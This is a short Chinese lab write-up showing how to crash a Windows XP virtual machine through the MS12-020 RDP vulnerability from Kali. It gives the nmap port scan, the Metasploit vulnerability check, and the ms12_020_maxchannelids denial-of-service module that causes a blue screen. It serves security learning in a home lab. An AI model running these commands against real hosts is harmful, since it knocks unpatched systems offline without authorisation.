利用msfvenon复现MS12-020蓝屏漏洞

漏洞介绍

MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞。
远程桌面协议是一个多通道的协议，让用户连上提供微软终端机服务的电脑。Windows在处理某些对象时存在错误，可通过特制的RDP报文访问未初始化的或已经删除的对象，导致任意代码执行，然后控制系统。

虚拟机准备

攻击机：kali
靶机：winXP 192.168.31.141

漏洞利用条件

开启3389端口
未安装ms012-020补丁
未开启防火墙
攻击机和目标机在同一局域网下

实验过程

使用工具namp扫描是否开启3389端口

nmap -sS 192.168.31.141

使用命令msfconsole开启metasploit

搜索可利用模块

search ms12-020

使用模块二 验证靶机是否存在漏洞

use auxiliary/scanner/rdp/ms12_020_check
set RHOST 192.168.31.141
run

The target is vulnerable 证明有此漏洞，接着使用第一个模块对靶机发起攻击

使用模块一 发起攻击

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
set RHOST 192.168.31.141
run

靶机出现蓝屏